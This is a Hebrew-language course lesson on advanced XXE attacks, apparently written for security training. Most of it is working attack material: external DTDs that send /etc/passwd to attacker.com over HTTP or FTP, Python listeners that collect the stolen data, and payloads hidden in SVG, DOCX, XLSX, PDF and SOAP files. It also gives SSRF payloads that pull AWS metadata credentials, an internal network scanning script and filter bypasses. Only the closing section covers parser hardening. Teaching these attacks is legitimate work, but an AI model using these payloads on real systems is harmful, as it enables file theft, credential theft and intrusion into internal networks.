לדלג לתוכן

הinjection XML מתקדמת - Advanced XXE

מבוא

בקורס הבסיסי למדנו על XXE (XML External Entity) רגיל - הגדרת entity חיצוני שמצביע לקובץ מקומי או לכתובת חיצונית. בשיעור הזה נעמיק לטכניקות מתקדמות: XXE עיוור עם extraction out-of-band, XXE דרך קבצים שונים, parameter entities, ועוד.

תזכורת - XXE בסיסי

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

XXE עיוור - Blind XXE

כאשר התגובה של השרת לא מציגה את תוכן ה-entity, אנחנו צריכים טכניקות extraction חלופיות.

OOB עם DTD חיצוני - Out-of-Band Exfiltration

העיקרון: נגרום לשרת הפגיע לשלוח את הנתונים לשרת שלנו.

שלב 1 - קובץ DTD בשרת התוקף

<!-- evil.dtd - hosted at http://attacker.com/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;

שלב 2 - ה-payload שנשלח לשרת הפגיע

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>
  <data>anything</data>
</root>

מה קורה

  1. השרת הפגיע טוען את evil.dtd מהתוקף
  2. ה-DTD מגדיר entity שקורא /etc/passwd
  3. ה-DTD מגדיר entity שעושה בקשה לשרת התוקף עם התוכן
  4. התוקף מקבל את תוכן הקובץ בלוג של השרת שלו

תרשים זרימה שמראה כיצד ב-XXE עיוור השרת הפגיע טוען DTD חיצוני, קורא קובץ מקומי, ושולח את תוכנו לשרת התוקף בשיטת out-of-band

שרת מקבל בצד התוקף

from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith('/collect'):
            query = urllib.parse.urlparse(self.path).query
            data = urllib.parse.parse_qs(query).get('data', [''])[0]
            print(f"[+] Exfiltrated data:\n{data}")

        # also serves evil.dtd
        return super().do_GET()

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

שימוש ב-Burp Collaborator

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR-ID.oastify.com/evil.dtd">
  %xxe;
]>
<root><data>test</data></root>

XXE מבוסס שגיאות - Error-based XXE

כאשר OOB לא עובד (למשל חומת אש חוסמת תעבורה יוצאת), אפשר לחלץ נתונים דרך הודעות שגיאה.

DTD עם שגיאה מכוונת

<!-- error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

ה-payload

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/error.dtd">
  %xxe;
]>
<root><data>test</data></root>

התוצאה

Error: Failed to open file:///nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

תוכן הקובץ מופיע בהודעת השגיאה.

Parameter Entities - ישויות פרמטריות

Parameter entities (עם %) ניתנות לשימוש רק בתוך ה-DTD. הן חיוניות ל-blind XXE:

<!-- The difference between a regular entity and a parameter entity -->

<!-- Regular entity - used in XML -->
<!ENTITY regular "value">
<!-- Usage: &regular; -->

<!-- Parameter entity - used only in DTD -->
<!ENTITY % param "value">
<!-- Usage: %param; -->

למה צריך parameter entities?

<!-- This doesn't work - you can't define an entity inside an entity -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY exfil SYSTEM "http://attacker.com/?data=%file;">

<!-- This works - a parameter entity inside an external DTD -->
<!-- because an external DTD allows defining nested entities -->

XXE דרך העלאת קבצים

XXE דרך SVG

קבצי SVG הם XML. אם האפליקציה מקבלת העלאת SVG:

<!-- malicious.svg -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
  <text x="10" y="50" font-size="20">&xxe;</text>
</svg>

אם השרת מעבד את ה-SVG (למשל ליצירת thumbnail), הוא יקרא את הקובץ.

XXE דרך DOCX

קבצי DOCX הם ארכיוני ZIP שמכילים קבצי XML. אפשר להזריק XXE לתוכם:

# Step 1 - create a valid DOCX
# or use an existing DOCX file

# Step 2 - extract the DOCX
mkdir docx_contents && cd docx_contents
unzip ../document.docx

# Step 3 - edit [Content_Types].xml or word/document.xml
<!-- word/document.xml with XXE -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE document [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p>
      <w:r>
        <w:t>&xxe;</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>
# Step 4 - repackage into a DOCX
zip -r ../malicious.docx .

XXE דרך XLSX

# Extract the XLSX
mkdir xlsx_contents && cd xlsx_contents
unzip ../spreadsheet.xlsx

# Edit xl/workbook.xml
<!-- xl/workbook.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE workbook [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
  <sheets>
    <sheet name="&xxe;" sheetId="1" />
  </sheets>
</workbook>

XXE דרך PDF (עם XMP metadata)

<!-- XMP metadata inside a PDF -->
<?xpacket begin="" id="">
<!DOCTYPE x [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
  <rdf:Description>&xxe;</rdf:Description>
</x:xmpmeta>
<?xpacket end="w"?>

XXE בבקשות SOAP

בקשות SOAP הן XML ולכן פגיעות ל-XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <GetUser>
      <username>&xxe;</username>
    </GetUser>
  </soapenv:Body>
</soapenv:Envelope>

XXE ל-SSRF

שימוש ב-XXE כדי לגשת לשירותים פנימיים:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>

סריקת רשת פנימית

import requests

url = "http://target.com/api/parse"

for i in range(1, 255):
    payload = f"""<?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "http://192.168.1.{i}/">
    ]>
    <root><data>&xxe;</data></root>"""

    try:
        response = requests.post(url, data=payload,
                                headers={"Content-Type": "application/xml"},
                                timeout=3)
        if response.status_code == 200 and len(response.text) > 100:
            print(f"[+] Host alive: 192.168.1.{i}")
    except:
        pass

גישה ל-AWS Metadata

<!-- Reading credentials from AWS -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<root><data>&xxe;</data></root>

XXE בפרסרים שונים

libxml2 (PHP, Python)

// PHP - vulnerable by default in old versions
$xml = simplexml_load_string($input);

// PHP - vulnerable if LIBXML_NOENT is enabled
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NOENT);

SAX Parser (Java)

// Vulnerable - SAX parser in Java
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

// Fixed - disable DTD and external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

DOM Parser (Java)

// Vulnerable
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(inputStream);

// Fixed
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

.NET (C#)

// Vulnerable - old versions of .NET
XmlDocument doc = new XmlDocument();
doc.LoadXml(userInput);

// Fixed
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;  // disables entity resolution
doc.LoadXml(userInput);

// or with XmlReaderSettings
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;

טכניקות bypass

הbypass חסימת SYSTEM

<!-- If SYSTEM is blocked, try PUBLIC -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe PUBLIC "-//W3C//DTD XHTML 1.0//EN" "file:///etc/passwd">
]>
<root>&xxe;</root>

הbypass חסימת פרוטוקול file

<!-- Using alternative protocols -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "expect://id">
<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">

XInclude

כאשר אין שליטה על כל מסמך ה-XML, אבל יש שליטה על ערך שמוכנס ל-XML:

<!-- XInclude - doesn't require a DOCTYPE -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

UTF-7 Encoding

<?xml version="1.0" encoding="UTF-7"?>
+ADw-!DOCTYPE foo +AFs-
  +ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
+AFs-+AD4-
+ADw-root+AD4-+ACY-xxe;+ADw-/root+AD4-

בניית DTD זדוני לextraction OOB

DTD מלא לextraction קבצים

<!-- exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;

DTD לextraction בבלוקים (לקבצים גדולים)

<!-- chunk1.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/c?d=%file;'>">
%eval;
%exfil;

DTD לextraction עם FTP

<!-- ftp-exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;

שרת FTP מקבל בצד התוקף:

import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 21))
server.listen(1)

while True:
    conn, addr = server.accept()
    conn.send(b'220 FTP Ready\r\n')
    while True:
        data = conn.recv(1024)
        if not data:
            break
        print(f"[+] Received: {data.decode()}")
        if data.startswith(b'USER'):
            conn.send(b'331 OK\r\n')
        elif data.startswith(b'PASS'):
            conn.send(b'230 OK\r\n')
        elif data.startswith(b'RETR') or data.startswith(b'CWD'):
            conn.send(b'550 Not found\r\n')
        else:
            conn.send(b'200 OK\r\n')
    conn.close()

הגנה מפני XXE

עקרון 1 - ניטרול DTDs לחלוטין

# Python - lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
doc = etree.fromstring(xml_input, parser)

# Python - defusedxml (recommended)
import defusedxml.ElementTree as ET
doc = ET.fromstring(xml_input)
// PHP - disable external entities
libxml_disable_entity_loader(true);
$xml = simplexml_load_string($input);

// PHP 8+ - safe by default, but worth verifying
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NONET);
// Java - full mitigation
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

עקרון 2 - שימוש ב-JSON במקום XML

# Instead of accepting XML
@app.route('/api/data', methods=['POST'])
def process():
    data = request.get_json()  # simple and safe JSON
    return jsonify(result=process_data(data))

עקרון 3 - ולידציה של סוג קובץ

# Check that uploaded files really are what they claim to be
import magic

def validate_upload(file):
    mime = magic.from_buffer(file.read(1024), mime=True)
    file.seek(0)

    allowed_mimes = {'image/png', 'image/jpeg', 'image/gif'}
    if mime not in allowed_mimes:
        raise ValueError(f"Invalid file type: {mime}")

סיכום

XXE מתקדם מרחיב את משטח התקיפה הרבה מעבר ל-XXE בסיסי:

  • Blind XXE - extraction נתונים דרך OOB כשאין פלט ישיר
  • Error-based XXE - extraction דרך הודעות שגיאה
  • XXE בקבצים - SVG, DOCX, XLSX כולם מכילים XML
  • Parameter entities - חיוניות ל-blind XXE דרך DTD חיצוני
  • XXE ל-SSRF - גישה לשירותים פנימיים ול-cloud metadata
  • ההגנה הטובה ביותר היא ניטרול מוחלט של DTDs ו-external entities